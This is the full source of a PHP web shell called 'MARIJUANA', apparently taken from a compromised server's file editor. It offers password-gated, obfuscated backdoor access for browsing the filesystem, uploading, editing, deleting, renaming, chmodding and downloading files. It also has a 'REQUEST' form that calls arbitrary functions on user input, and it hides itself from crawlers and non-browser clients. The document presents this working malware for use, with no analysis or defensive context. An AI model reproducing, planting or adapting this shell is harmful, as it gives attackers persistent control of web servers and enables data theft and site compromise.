^^&&^^

Edit File: marijuan.php

<?php
$password = 'ced9f7db7cfbf97025c0781ee6839fb8';
error_reporting(0);
set_time_limit(0);

session_start();
if (!isset($_SESSION['loggedIn'])) {
    $_SESSION['loggedIn'] = false;
}

if (isset($_POST['password'])) {
    if (md5($_POST['password']) == $password) {
        $_SESSION['loggedIn'] = true;
    }
}

if (!$_SESSION['loggedIn']): ?>

<html><head><title>Login Administrator</title></head>
  <body bgcolor="black">
    <center>
    <p align="center"><center><font style="font-size:13px" color="red" face="text-dark">
    <form method="post">
      <input type="password" name="password">
      <input type="submit" name="submit" value="  Login"><br>
    </form>
  </body>
</html>

<?php
exit();
endif;
?><?php header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
        '7068705f756e616d65',
        '70687076657273696f6e',
        '6368646972',
        '676574637764',
        '707265675f73706c6974',
        '636f7079',
        '66696c655f6765745f636f6e74656e7473',
        '6261736536345f6465636f6465',
        '69735f646972',
        '6f625f656e645f636c65616e28293b',
        '756e6c696e6b',
        '6d6b646972',
        '63686d6f64',
        '7363616e646972',
        '7374725f7265706c616365',
        '68746d6c7370656369616c6368617273',
        '7661725f64756d70',
        '666f70656e',
        '667772697465',
        '66636c6f7365',
        '64617465',
        '66696c656d74696d65',
        '737562737472',
        '737072696e7466',
        '66696c657065726d73',
        '746f756368',
        '66696c655f657869737473',
        '72656e616d65',
        '69735f6172726179',
        '69735f6f626a656374',
        '737472706f73',
        '69735f7772697461626c65',
        '69735f7265616461626c65',
        '737472746f74696d65',
        '66696c6573697a65',
        '726d646972',
        '6f625f6765745f636c65616e',
        '7265616466696c65',
        '617373657274',
];
$___ = count($Array);
for($i=0;$i<$___;$i++) $GNJ[] = uhex($Array[$i]);
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  if(!preg_match("/Chrome|Firefox|Opera|Safari|Browser|Windows|Linux|Macintosh|Mac OS|Android|iP(ad|hone|od)/i", $_SERVER['HTTP_USER_AGENT'])) {
   header("HTTP/1.0 404 Not Found");
   exit;
 }
}
?>
<!DOCTYPE html>
    <html dir="auto" lang="en-US">
 
        <head>
            <meta charset="UTF-8">
            <meta name="robots" content="NOINDEX, NOFOLLOW">
                <title>MARIJUANA</title>   
<style>
@charset "UTF-8";@import url(https://use.fontawesome.com/releases/v5.8.1/css/all.css);@font-face{font-family:Consolas}html{margin-left:1em;margin-right:1em;margin-top:-1.5em;background:#189048!important;font-family:Courier;}.x{text-align:center}.y{font-family:i;font-size:calc(2.3em + 2.3vw);color:#181818}.y:hover{color:#fff}.w{color:#fff}.b{color:#000}.q{margin-top:.5em}article{margin-top:1.5em;font-size:.9em}.i{float:left}.u{float:right;text-align:right;margin-bottom:1.5em}input[type=file]{display:none}input[type=submit]{border:1px solid #181818;padding:.2em;background:0 0}td{color:#000}th{font-weight:400;border-bottom:thin solid #181818;color:#fff}.et{text-align:left;color:#000}.r:hover{background:#079992}.l{border:1px solid #181818;padding:1px;background:0 0}footer{margin-top:2em;height:2.2rem;width:100%;font-size:.9em}footer:hover{color:#fff}a{text-decoration:none;color:#000}a:hover{color:#fff}.m{margin-left:2.4em}textarea{background:0 0;border:none;width:70%;height:30em;font-family:Courier;font-size:.9em}textarea.o{background:#fff}.h{color:#ea2027}
</style>
        </head>
 
        <body>
            <header>
                <div class="y x">
                    <a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
                        MARIJuANA
                    </a>
                </div>
 
                <div class="q x w">
                    &#8212; DIOS &#8212; NO &#8212; CREA &#8212; NADA &#8212; EN &#8212; VANO &#8212;
                </div>
               
            </header>
 
            <article>
                <div class="i">
                    <i class="far fa-hdd"></i>
                    <?php echo $GNJ[0]();?>
 
                    <br />
 
                    <i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>
 
                    <br />
 
                    <i class="far fa-folder"></i>
                   
                    <?php
                    if(isset($_GET["d"])) {
                        $d = uhex($_GET["d"]);
                        $GNJ[2](uhex($_GET["d"]));
                    }
                    else {
                        $d = $GNJ[3]();
                    }
                    $k = $GNJ[4]("/(\\\|\/)/", $d );
                    foreach ($k as $m => $l) {
                        if($l=='' && $m==0) {
                            echo '<a class="ajx" href="?d=2f">/</a>';
                        }
                        if($l == '') {
                            continue;
                        }
                        echo '<a class="ajx" href="?d=';
                        for ($i = 0; $i <= $m; $i++) {
                            echo hex($k[$i]);
                            if($i != $m) {
                                echo '2f';
                            }
                        }
                        echo '">'.$l.'</a>/';
                    }
                    ?>
 
                    <br />
 
                </div>
 
                <div class="u">
                    <?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
                    <br />
 
                    <br />
 
                    <form method="post" enctype="multipart/form-data">
                        <label class="l w">
                            <input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
                        </label>&nbsp;
                    </form>
 
                    <?php
                    $o_ = [
                            '<script>$.notify("',
                            '", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
                        ];
                    $f = $o_[0].'OK!'.$o_[1];
                    $g = $o_[0].'ER!'.$o_[1];
                    if(isset($_FILES["n"])) {
                        $z = $_FILES["n"]["name"];
                        $r = count($z);
                        for( $i=0 ; $i < $r ; $i++ ) {
                            if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
                                echo $f;
                            }
                            else {
                                echo $g;
                            }
                        }
                    }
                    ?>
 
                </div>
                    <?php
                    $a_ = '<table cellspacing="0" cellpadding="7" width="100%">
                        <thead>
                            <tr>
                                <th>';
                    $b_ = '</th>
                            </tr>
                        </thead>
                        <tbody>
                            <tr>
                                <td></td>
                            </tr>
                            <tr>
                                <td class="x">';
                    $c_ = '</td>
                            </tr>
                        </tbody>
                    </table>';
                    $d_ = '<br />
                                        <br />
                                        <input type="submit" class="w" value="&nbsp;OK&nbsp;" />
                                    </form>';
                    if(isset($_GET["s"])) {
                        echo $a_.uhex($_GET["s"]).$b_.'
                                    <textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
                                    <br />
                                    <br />
                                    <input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
                                '.$c_;
                    }
                    elseif(isset($_GET["y"])) {
                        echo $a_.'REQUEST'.$b_.'
                                    <form method="post">
                                        <input class="x" type="text" name="1" />&nbsp;&nbsp;
                                        <input class="x" type="text" name="2" />
                                        '.$d_.'
                                    <br />
                                    <textarea readonly="yes">';
 
                                    if(isset($_POST["2"])) {
                                        echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
                                    }
 
                                echo '</textarea>
                                '.$c_;
                    }
                    elseif(isset($_GET["e"])) {
                        echo $a_.uhex($_GET["e"]).$b_.'
                                    <form method="post">
                                        <textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
                                        <br />
                                        <br />
                                        <span class="w">BASE64</span> :
                                        <select id="b64" name="b64">
                                            <option value="0">NO</option>
                                            <option value="1">YES</option>
                                        </select>
                                        '.$d_.'
                                '.$c_.'
                               
                    <script>
                        $("#b64").change(function() {
                            if($("#b64 option:selected").val() == 0) {
                                var X = $("textarea").val();
                                var Z = atob(X);
                                $("textarea").val(Z);
                            }
                            else {
                                var N = $("textarea").val();
                                var I = btoa(N);
                                $("textarea").val(I);
                            }
                        });
                    </script>';
                    if(isset($_POST["e"])) {
                        if($_POST["b64"] == "1") {
                            $ex = $GNJ[7]($_POST["e"]);
                        }
                        else {
                            $ex = $_POST["e"];
                        }
                        $fp = $GNJ[17](uhex($_GET["e"]), 'w');
                        if($GNJ[18]($fp, $ex)) {
                            OK();
                        }
                        else {
                            ER();
                        }
                        $GNJ[19]($fp);
                      }
                    }
                    elseif(isset($_GET["x"])) {
                        rec(uhex($_GET["x"]));
                        if($GNJ[26](uhex($_GET["x"]))) {
                            ER();
                        }
                        else {
                            OK();
                        }
 
                    }
                    elseif(isset($_GET["t"])) {
                        echo $a_.uhex($_GET["t"]).$b_.'
                                    <form action="" method="post">
                                        <input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
                                        '.$d_.'
                                '.$c_;
                    if( !empty($_POST["t"]) ) {
                        $p = $GNJ[33]($_POST["t"]);
                        if($p) {
                            if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
                                ER();
                            }
                            else {
                                OK();
                            }
                        }
                        else {
                            ER();
                        }
                      }
                    }
                    elseif(isset($_GET["k"])) {
                        echo $a_.uhex($_GET["k"]).$b_.'
                                    <form action="" method="post">
                                        <input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
                                        '.$d_.'
                                '.$c_;
                    if(!empty($_POST["b"])) {
                        $x = $_POST["b"];
                        $t = 0;
                    for($i=strlen($x)-1;$i>=0;--$i)
                        $t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
                    if(!$GNJ[12](uhex($_GET["k"]), $t)) {
                        ER();
                    }
                    else {
                        OK();
                          }
                        }
                    }
                    elseif(isset($_GET["l"])) {
                        echo $a_.'+DIR'.$b_.'
                                    <form action="" method="post">
                                        <input name="l" class="x" type="text" value="">
                                        '.$d_.'
                                '.$c_;
                    if(isset($_POST["l"])) {
                        if(!$GNJ[11]($_POST["l"])) {
                            ER();
                        }
                        else {
                            OK();
                        }
                      }
                    }
                    elseif(isset($_GET["q"])) {
                        if($GNJ[10](__FILE__)) {
                            $GNJ[38]($GNJ[9]);
                            header("Location: ".basename($_SERVER['PHP_SELF'])."");
                            exit();
                        }
                        else {
                            echo $g;
                        }
                    }
                    elseif(isset($_GET["n"])) {
                        echo $a_.'+FILE'.$b_.'
                                    <form action="" method="post">
                                        <input name="n" class="x" type="text" value="">
                                        '.$d_.'
                                '.$c_;
                    if(isset($_POST["n"])) {
                        if(!$GNJ[25]($_POST["n"])) {
                            ER();
                        }
                        else {
                            OK();
                        }
                      }
                    }
                    elseif(isset($_GET["r"])) {
                        echo $a_.uhex($_GET["r"]).$b_.'
                                    <form action="" method="post">
                                        <input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
                                        '.$d_.'
                                '.$c_;
                    if(isset($_POST["r"])) {
                        if($GNJ[26]($_POST["r"])) {
                            ER();
                        }
                        else {
                            if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
                                OK();
                            }
                            else {
                                ER();
                            }
                          }
                       }
                    }
                    elseif(isset($_GET["z"])) {
                        $zip = new ZipArchive;
                        $res = $zip->open(uhex($_GET["z"]));
                            if($res === TRUE) {
                                $zip->extractTo(uhex($_GET["d"]));
                                $zip->close();
                                OK();
                            } else {
                                ER();
                          }
                    }
                    else {
                    echo '<table cellspacing="0" cellpadding="7" width="100%">
                        <thead>
                            <tr>
                                <th width="44%">[ NAME ]</th>
                                <th width="11%">[ SIZE ]</th>
                                <th width="17%">[ PERM ]</th>
                                <th width="17%">[ DATE ]</th>
                                <th width="11%">[ ACT ]</th>
                            </tr>
                        </thead>
                        <tbody>
                            <tr>
                                <td>
                                    <a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
                                    <a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
                                </td>
                            </tr>
                        ';
 
                            $h = "";
                            $j = "";
                            $w = $GNJ[13]($d);
                            if($GNJ[28]($w) || $GNJ[29]($w)) {
                            foreach($w as $c){
                                $e = $GNJ[14]("\\", "/", $d);
                                if(!$GNJ[30]($c, ".zip")) {
                                    $zi = '';
                                }
                                else {
                                    $zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
                                }
                                if($GNJ[31]("$d/$c")) {
                                        $o = "";
                                }
                                elseif(!$GNJ[32]("$d/$c")) {
                                        $o = " h";
                                }
                                else {
                                        $o = " w";
                                }
                                $s = $GNJ[34]("$d/$c") / 1024;
                                $s = round($s, 3);
                                if($s>=1024) {
                                    $s = round($s/1024, 2) . " MB";
                                } else {
                                    $s = $s . " KB";
                                }
                            if(($c != ".") && ($c != "..")){
                                ($GNJ[8]("$d/$c")) ?
                                $h .= '<tr class="r">
                            <td>
                                <i class="far fa-folder m"></i>
                                <a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
                            </td>
                            <td class="x">
                                dir
                            </td>
                            <td class="x">
                                <a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
                            </td>
                            <td class="x">
                                <a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
                            </td>
                            <td class="x">
                                <a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
                                <a href="?d='.hex($e).'&x='.hex($c).'">D</a>
                            </td>
                        </tr>
                       
                        '
                            :
                                $j .= '<tr class="r">
                            <td>
                                <i class="far fa-file m"></i>&thinsp;
                                <a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
                            </td>
                            <td class="x">
                                '.$s.'
                            </td>
                            <td class="x">
                                <a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
                            </td>
                            <td class="x">
                                <a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
                            </td>
                            <td class="x">
                                <a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
                                <a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
                                <a href="?d='.hex($e).'&g='.hex($c).'">G</a>
                                '.$zi.'
                                <a href="?d='.hex($e).'&x='.hex($c).'">D</a>
                            </td>
                        </tr>
                       
                        ';
 
                            }
                        }
                    }
 
                        echo $h;
                        echo $j;
                        echo '</tbody>
                        <tfoot>
                            <tr>
                                <th class="et">
                                    <a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
                                    <a href="?d='.hex($e).'&q">EXIT</a>
                                </th>
                                <th class="et" width="11%"></th>
                                <th class="et" width="17%"></th>
                                <th class="et" width="17%"></th>
                                <th class="et" width="11%"></th>
                            </tr>
                    </tfoot>
                </table>';
                    }
                    ?>
 
            </article>
            <footer class="x">
                &copy;TheAlmightyZeus
            </footer>
            <?php
            if(isset($_GET["1"])) {
                echo $f;
            }
            elseif(isset($_GET["0"])) {
                echo $g;
            }
            else {
                NULL;
            }
            ?>
<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
            <script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
            <script>
                $(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
            </script>
        </body>
    </html>
<?php
    function rec($j) {
        global $GNJ;
        if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
            return;
        }
        if($GNJ[8]($j)) {
            array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
            $GNJ[35]($j);
        }
        else {
            $GNJ[10]($j);
        }
    }
    function dre($y1, $y2) {
        global $GNJ;
        ob_start();
        $GNJ[16]($y1($y2));
        return $GNJ[36]();
    }
    function hex($n) {
        $y='';
        for ($i=0; $i < strlen($n); $i++){
            $y .= dechex(ord($n[$i]));
        }
        return $y;
    }
    function uhex($y) {
        $n='';
        for ($i=0; $i < strlen($y)-1; $i+=2){
            $n .= chr(hexdec($y[$i].$y[$i+1]));
        }
        return $n;
    }
    function OK() {
        global $GNJ, $d;
        $GNJ[38]($GNJ[9]);
        header("Location: ?d=".hex($d)."&1");
        exit();
    }
    function ER() {
        global $GNJ, $d;
        $GNJ[38]($GNJ[9]);
        header("Location: ?d=".hex($d)."&0");
        exit();
    }
    function x($c) {
        global $GNJ;
        $x = $GNJ[24]($c);
        if(($x & 0xC000) == 0xC000) {
            $u = "s";
        }
        elseif(($x & 0xA000) == 0xA000) {
            $u = "l";
        }
        elseif(($x & 0x8000) == 0x8000) {
            $u = "-";
        }
        elseif(($x & 0x6000) == 0x6000) {
            $u = "b";
        }
        elseif(($x & 0x4000) == 0x4000) {
            $u = "d";
        }
        elseif(($x & 0x2000) == 0x2000) {
            $u = "c";
        }
        elseif(($x & 0x1000) == 0x1000) {
            $u = "p";
        }
        else {
            $u = "u";
        }
        $u .= (($x & 0x0100) ? "r" : "-");
        $u .= (($x & 0x0080) ? "w" : "-");
        $u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
        $u .= (($x & 0x0020) ? "r" : "-");
        $u .= (($x & 0x0010) ? "w" : "-");
        $u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
        $u .= (($x & 0x0004) ? "r" : "-");
        $u .= (($x & 0x0002) ? "w" : "-");
        $u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
        return $u;
    }
    if(isset($_GET["g"])) {
        $GNJ[38]($GNJ[9]);
        header("Content-Type: application/octet-stream");
        header("Content-Transfer-Encoding: Binary");
        header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
        header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
        $GNJ[37](uhex($_GET["g"]));
    }
?>